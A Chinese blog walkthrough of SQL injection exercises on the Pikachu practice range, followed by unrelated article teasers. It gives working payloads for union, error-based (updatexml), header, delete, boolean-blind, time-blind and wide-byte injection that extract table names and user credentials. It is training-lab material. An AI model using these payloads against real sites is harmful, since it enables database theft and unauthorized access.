Pikachu(皮卡丘)靶场中SQL注入

news2024/11/26 4:47:30

Pikachu靶场中SQL注入

  • 1.Pikachu(皮卡丘)靶场中SQL注入
    • 1.1.数字型注入
    • 1.2.字符型注入
    • 1.3.搜索型注入
    • 1.4.xx型注入
    • 1.5.insert/update注入
    • 1.6.delete注入
    • 1.7.http头注入
    • 1.8.盲注(base on boolian)
    • 1.9.盲注(base on time)
    • 1.10.宽字节注入

1.Pikachu(皮卡丘)靶场中SQL注入

  若遇到不链接的可以参考我的一篇文章,里面包括了绝大部分的注入方式,并且配合案例演示。链接:SQL注入基础原理与案例(超详细)

1.1.数字型注入

  1)其实这里能够看到和dvwa靶场中的medium级别差不多,没有地方进行注入,只能进行抓包测试。
在这里插入图片描述

  2)这里和上面的low级别一样,采用正常的联合查询。并且这里已经提示是数字型注入了,那么这里就不进行注入类型测试。直接查询显示位。
输入1 order by 3#发现报错,那么这里的数据库的列为1和2。

1 order by 3#

在这里插入图片描述

  3)查询显示位名,输入-1 union select 1,2#

-1 union select 1,2#

在这里插入图片描述

  4)查询数据库名,输入-1 union select database(),2#获取数据库名为:pikachu。

-1 union select database(),2#

在这里插入图片描述

  5)获取数据库的表,输入-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=“pikachu”# 通过获取到的数据库表,我们只需要里面的users。

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema="pikachu"# 

在这里插入图片描述

  6)获取数据库的列,输入-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=“users”#获取到数据库的所有列,而在里面我们只需要username和password。

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name="users"#

在这里插入图片描述

  7)获取数据库的账号密码,输入-1 union select group_concat(username),group_concat(password) from users#获得账号密码,密码是加密的,可以进行解密就能获取到了。

-1 union select group_concat(username),group_concat(password) from users#

在这里插入图片描述

1.2.字符型注入

  1)这里已经告诉了是字符型注入,但是还是需要测试一下什么闭合。输入kobe’ and 1=1#的时候页面正常,并且kobe’ and 1=2#页面不正常,证明使用单引号闭合。

kobe' and 1=1# 正常
kobe' and 1=2# 不正常

在这里插入图片描述

  2)后面的注入方式和数字型基本一直,这里我就随便找几步进行测试。比如这里测试显示位。输入kobe’ order by 3#,就出现了报错。

kobe' order by 3#

在这里插入图片描述

  3)查询数据库名,输入1’ union select database(),2#,上面是kobe而这里使用1就是为了让前面报错,执行后面的语句。

1' union select database(),2#

在这里插入图片描述

  4)后面方式的和数字型注入都是一样的。

1.3.搜索型注入

  1)这里的搜索型注入和上面的字符注入都是一样的,唯一的不同点是在里面需要使用%进行闭合,这个%是在源码中采用模糊查询,所使用到的,所以在我们注入的时候需要对这个%进行闭合。那么这里测试使用上面闭合的时候就需要输入k%’ and 1=1#这样就能够正常显示数据,当输入k%’ and 1=2#的时候就无法显示数据了。

k%' and 1=1#正常
k%' and 1=2#不正常

在这里插入图片描述

  2)这里我们也不一步一步测试了,直接获取数据库输入k%’ union select database(),2,3#,可以看到我们也顺利获取数据库了。

k%' union select database(),2,3#

在这里插入图片描述

1.4.xx型注入

  1)通过对输入的内容进行测试发现当输入kobe’) and 1=1#页面能够正常显示,而kobe’) and 1=2#则不能正常显示。那么这基本上可以判断此处是采用’)进行闭合。

kobe') and 1=1#正常
kobe') and 1=2#不正常

在这里插入图片描述

  2)知道闭合了,那么就可以测试显示位了。这我测试得到的数据库是两列,而且输入kobe’) union select 1,2#后得到了显示位。

kobe') union select 1,2#

在这里插入图片描述

  3)我们这里依旧只测试到获取数据库,其他的和数字型注入基本一直,除了闭合方式。kobe’) union select database(),2#,爆出数据库名。

kobe') union select database(),2#

在这里插入图片描述

1.5.insert/update注入

  这里只是在注册处进行测试,当然还有修改信息的时候同样能够进行注入,可以自行测试。
  1)这里就需要先进行注册,填入必填项,然后抓包。
在这里插入图片描述

  2)把数据发入重放器中,并使用报错注入,在用户名后输入’ and updatexml(1,0x7e,3)and '进行测试,可以看到有报错回复。

' and updatexml(1,0x7e,3)and '

在这里插入图片描述

  3)爆出数据库名,当输入’ and updatexml(1,concat(0x7e,database()),3) and '的时候就能够爆出数据库名,数据库名为pikachu。

' and updatexml(1,concat(0x7e,database()),3) and '

在这里插入图片描述

  4)爆出数据库的表名,这里我们通过报错注入,获取到数据库的表名,但是我们只要users,其他的不感兴趣。主要是也用不到。

'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' )),3) and '

在这里插入图片描述

  5)爆出数据库的列名,当然这里是通过分页显示的,若不分页,显示的不全。

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),3)and '

在这里插入图片描述

  6)爆出账号密码,都需要通过分页进行显示,若不分页则无法显示完全。

账号:' and updatexml(1,concat(0x7e,(select username from users limit 0,1 )),3)and '

在这里插入图片描述

密码:' and updatexml(1,concat(0x7e,(select password from users limit 0,1 )),3)and '

在这里插入图片描述

1.6.delete注入

  1)这里先随便在留言板上输些内容,然后随便删除一个留言,并对其抓包。这里就会发现存在一个ID,可以对其进行注入测试。由于这里我们删除后并不会出现什么提示,所以这里使用报错注入测试。并且经过测试是数字型,字符型不会出现报错的内容。并且需要注意这里空格需要写出+或者%20。

id=57+and+updatexml(1,0x7e,3)

在这里插入图片描述

  2)后续的注入测试和insert/update注入一样

1.7.http头注入

  1)这里其实可以发现在登录后显示出很多信息,可以对这些显示信息的字段进行测试。
在这里插入图片描述

  2)我们刷新页面重新抓包,经过测试发现在User-Agent: 和Accept:处可以进行注入。 这里我们就在User-Agent:进行测试。

' and updatexml(1,0x7e,3)and '

在这里插入图片描述

  3)剩下的步骤和之前的一样的操作,这里就不过多操作了。

1.8.盲注(base on boolian)

  1)在一些特定的情况下,会对报错信息进行隐藏,那么就无法使用报错进行注入。像这个就需要使用布尔盲注。
在这里插入图片描述

  2)判断注入类型,通过对注入类型的判断,可以发现是使用单引号闭合。

kobe' and 1=1# 正常
kobe' and 1=2# 不正常

在这里插入图片描述

  3)判断数据库名的长度,通过之前获取到的数据库名是pikachu。一共7位,当然在实际的环境中需要手动一步一步测试。

kobe' and length(database())>8# 不正常
kobe' and length(database())=7# 正常

在这里插入图片描述

  4)判断数据库的名,判断数据库名需要一个一个字母测试,通过比对后,获取到的数据库名为pikachu,当然也可以使用ascii函数来进行获取。

kobe' and left(database(),1)='p'# 正常
kobe' and left(database(),2)='pi'# 正常
.........
kobe' and left(database(),7)='pikachu'# 正常

在这里插入图片描述

  5)猜测数据库表的数量

kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>5# 不正常
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=5# 正常

在这里插入图片描述

  6)猜测数据库表名,这里也只猜测一个案例,其他的还需自己动手测试。这里我们通过之前获取到的数据库表名有httpinfo…users。
第一个表第一个字母是h。

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0, 1),1,1))=104# 正常

在这里插入图片描述

  第四个表第二个字母是s。

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 3, 1),2,1))=115# 正常

在这里插入图片描述

  7)判断列有多少列,比如这里我判断user有多少列。

kobe' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=4#

在这里插入图片描述

  8)判断列中第一个列名的长度,通过控制limit的值来判断不同字段的长度。

kobe' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 #

在这里插入图片描述

  9)判断列名,比如这里我就判断id,那么id的一个字母是i在ascii码中是105,所以正常,第二列需要变更limit后面的值来实现。通过获取,获得id列、username列、password列。

第一列第一个字母:kobe' and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105#

在这里插入图片描述

第二列第二个字母:kobe' and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2,1))=115#

在这里插入图片描述

  10)获取username中第一行数据的长度,若想测试第二行,那么修改limit的值即可。

kobe' and length((select username from users limit 0,1))=5#

在这里插入图片描述

  11)获取username中第一行第一个字母的值。通过获取得到的值是a,整体是admin。

kobe' and ord(substr((select username from users limit 0,1),1,1))=97#

在这里插入图片描述

  12)若想获取username中第二行第二个值怎么获取?可以通过修改limit的值进行获取。

kobe' and ord(substr((select username from users limit 1,1),2,1))=105#

在这里插入图片描述

1.9.盲注(base on time)

  1)时间盲注,可以在对话框中输入用户名,不显示是否正确,那么这时候就需要使用到时间盲注。
在这里插入图片描述

  2)使用时间盲注进行测试。这里使用原来的什么and 1=2啥的都不行了,需要使用时间盲注来测试,这里先测试闭合方式。

kobe and sleep(5)# 没有延迟
kobe' and sleep(5)# 延迟五秒

在这里插入图片描述

  3)判断数据库名的长度,这里为了反应快点,把正确和错误的位置调整一下,把 sleep (5),1 调整为 sleep (1),5 意思就是正确了秒回,不正确则延迟5 秒返回。

kobe' and if(length(database())=7, sleep(1),5)#

在这里插入图片描述

  4)判断数据库名。

kobe' and if((select substr(database(),1,1))='p',sleep(1),5)#

在这里插入图片描述

  5)判断数据库内表的个数。

kobe' and if((select count(table_name) from information_schema.tables where table_schema=database())=5,sleep(1),5)#

在这里插入图片描述

  6)判断第一个表的长度。

kobe' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8,sleep(1),5)#

在这里插入图片描述

  7)判断第一个表第一个字母。

kobe' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104,sleep(1),5)#

在这里插入图片描述

  8)其实时间盲注整体上基本就是在布尔盲注的基础上增加if判断,并且与sleep配合,布尔盲注是当对的时候,返回正确的值,错误的时候返回错误的值,而时间盲注,不管正确还是错误都不会返回值,需要靠延迟判断。

1.10.宽字节注入

  1)宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个 字符是一个汉字(前一个 ascii 码要大于 128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql 会调用转义函数,将单引号变为’,其中\的十 六进制是%5c,mysql 的 GBK 编码,会认为%df%5c 是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。
  2)测试宽字节注入,和联合注入是一样的只是在内容后面添加%df即可,通过在内容输入处输入内容,然后修改。比如获取显示位。

1%df' union select 1,2#

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/89040.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于java+springboot+mybatis+vue+mysql的冬奥会科普平台

项目介绍 基于SpringBoot框架的冬奥会科普平台利用网络沟通、计算机信息存储管理,有着与传统的方式所无法替代的优点,系统采用java语言开发,前端采用vue技术,数据库采用mysql进行数据存储。比如计算检索速度特别快、可靠性特别高…

大数据如何在制造业中进行应用?数据宝董事长汤寒林现身数字化年会讲了这个事

12月8日1670923102263472480日,2022中国数字化年会成功在线上举办!本届年会以“向变而生”为主题,历时三天,特别打造了主论坛、高峰论坛与行业数智化论坛三大板块,60余位专家学者与来自各领域各行业数字化领军人物 通过…

前端基础(五)_CSS文本文字属性

CSS文本文字属性 1、文字属性 1.1、字号 font-size:38px; 浏览器默认16px; 1.2、字体 font-family: 如果字体名称包含空格,字体名称上加引号; 中文字体名称加引号; 多个字体名称作为一个回退系统来保存,如果第一个不…

什么才是写博客初心如何坚持

为何写机器人课程博客并一直坚持?(2021) 创新源自真心,“乱”创新的课程徒有其表,“不”创新的课程逐渐凋零。 个人觉得,课程教学创新宏观上的目标是让学生更好的认识自己并适应社会发展和变化&#xff1b…

停车场管理系统

开发工具(eclipse/idea/vscode等): 数据库(sqlite/mysql/sqlserver等): 功能模块(请用文字描述,至少200字): 主要用jsp,数据库用MySQL 分为前台用户和后台管理员 前台用户 主界面是一个区域内的两到三个停车场,然后 可…

virtualenv系列 (2) · 系统环境与虚拟环境

文章目录1. 怎样算是一套Python环境?2. 系统环境 VS 虚拟环境3. 虚拟环境最佳实践1. 怎样算是一套Python环境? 首先,我们得先弄清楚:怎样算是一个Python环境?然后再去区分系统环境和虚拟环境。简单地说,在…

[附源码]Python计算机毕业设计SSM基于web的家教管理系统(程序+LW)

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

阿里5位高级架构师耗时两年共同研发《Redis入门手册》

在我们日常的开发中,无不都是使用数据库来进行数据的存储,由于一般的系统任务中通常不会存在高并发的情况,所以这样看起来并没有什么问题,可是一旦涉及大数据量的需求,比如一些商品抢购的情景,或者是主页访…

喜报!Coremail两大方案入选“2022年软件行业典型应用案例”

12月5日,由中国软件行业协会联合中软国际有限公司、江苏省软件行业协会主办的2022中国程序员节在江苏南京圆满落幕,本次活动聚焦当前我国对数字技术创新及应用发展的现实需求,以开源创新、软件根技术、平台工具等热点议题,探讨影响…

Spring Boot 配置文件 · properties 基本语法 · yml 基本语法 · yml 配置不同数据以及 null · yml 配置文件读取

一、配置文件作用二、配置文件的格式三、properties 配置文件说明3.1 properties 基本语法3.2 读取配置文件3.3 properties 缺点分析四、yml 配置文件说明4.1 yml 基本语法4.2 yml 与 properties 格式对比4.3 yml 配置不同数据类型以及 null4.4 yml 配置读取4.4.1 读取配置文件…

Win11十二月系统更新了什么内容?

微软今天发布了12月最新的累积更新补丁,根据Microsoft 支持页面,build 22621.963 现在会在用户 OneDrive 上的存储空间不足时在“设置”应用程序中警告用户,将 Windows Spotlight 与主题设置相结合,修复任务管理器应用程序的界面问…

SSM垃圾分类网站

开发工具(eclipse/idea/vscode等): 数据库(sqlite/mysql/sqlserver等): 功能模块(请用文字描述,至少200字): 1,系统:Vindows10 2.软件:IDEA.SQLyog 3.数据库环境:ySQL 4.开源框架:sp…

毕业设计-基于SpringBoot幼儿园管理系统

环境:开发工具:idea,数据库:MySQL5.7 jdk1.8 架构:SpringBoot,前端HTML 主要功能 管理员: 用户管理(编辑用户、删除用户、添加用户、查询指定用户) 角色管理(…

软件测试进阶——测试划分

文章目录按照测试对象划分界面测试可靠性测试容错性测试文档测试兼容性测试易用性测试安装和卸载测试安全测试性能测试按照是否查看代码黑盒测试白盒测试灰盒测试按照开发阶段划分单元测试集成测试系统测试回归测试冒烟测试验收测试按照实施组织划分α测试β测试按照是否运行划…

数据可视化常用工具推荐

数据可视化是将数据分析的结果以图形、表格等形式展示出来,这样能我们更加清晰、明了的理解分析结果、判断数据走势等,让没有进行过数据分析的人也能清楚的了解数据中所含有的规律、趋势等。下面小编将向大家介绍几种常用的数据可视化工具,分…

计算机毕业设计php+vue基于微信小程序的高校新生报到管理小程序

项目介绍 随着信息技术和网络技术的飞速发展,人类已进入全新信息化时代,传统管理技术已无法高效,便捷地管理信息。为了迎合时代需求,优化管理效率,各种各样的管理程序应运而生,各行各业相继进入信息管理时代,高校新生报到管理小程序就是信息时代变革中的产物之一。 任何程序都要…

外汇天眼:爆雷跑路!DingHui索要高额佣金,结果客户一分钱没拿到!

我们都知道,外汇交易佣金是外汇平台杠杆进入中国市场时的产物,也可以将其简单的理解为是在自己原本的手续费之外,额外增加的一些交易成本。 不过随着外汇市场的发展,在外汇交易平台进行交易也是越来越正规化,现如今正…

16-luogu-P1012-[NOIP1998 提高组] 拼数

文章目录[NOIP1998 提高组] 拼数题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1样例 #2样例输入 #2样例输出 #2提示大神代码分析总结[NOIP1998 提高组] 拼数 题目描述 设有 nnn 个正整数 a1…ana_1 \dots a_na1​…an​,将它们联接成一排,相邻…

shell语法总结二(持续补充)

文章目录一、函数1、函数的定义格式2、案例13、案例2二、函数参数三、输入/输出重定向1、标准输入输出2、输出重定向:2.1、语法如下所示:2.2、案例:输出重定向会覆盖文件内容,请看下面的例子:2.3、如果不希望文件内容被覆盖&#…

不同时期土地政策

土地政策​ 本篇文章主要总结新中国近代以来的土地政策,根据中国共产党的建立的前后时间分为两个部分。建党前主要是太平天国的《天朝田亩制》、孙中山的“旧三民主义”和新三民主义,建党后的大革命时期、土地革命时期、抗日战争、解放战争、新中国成立初…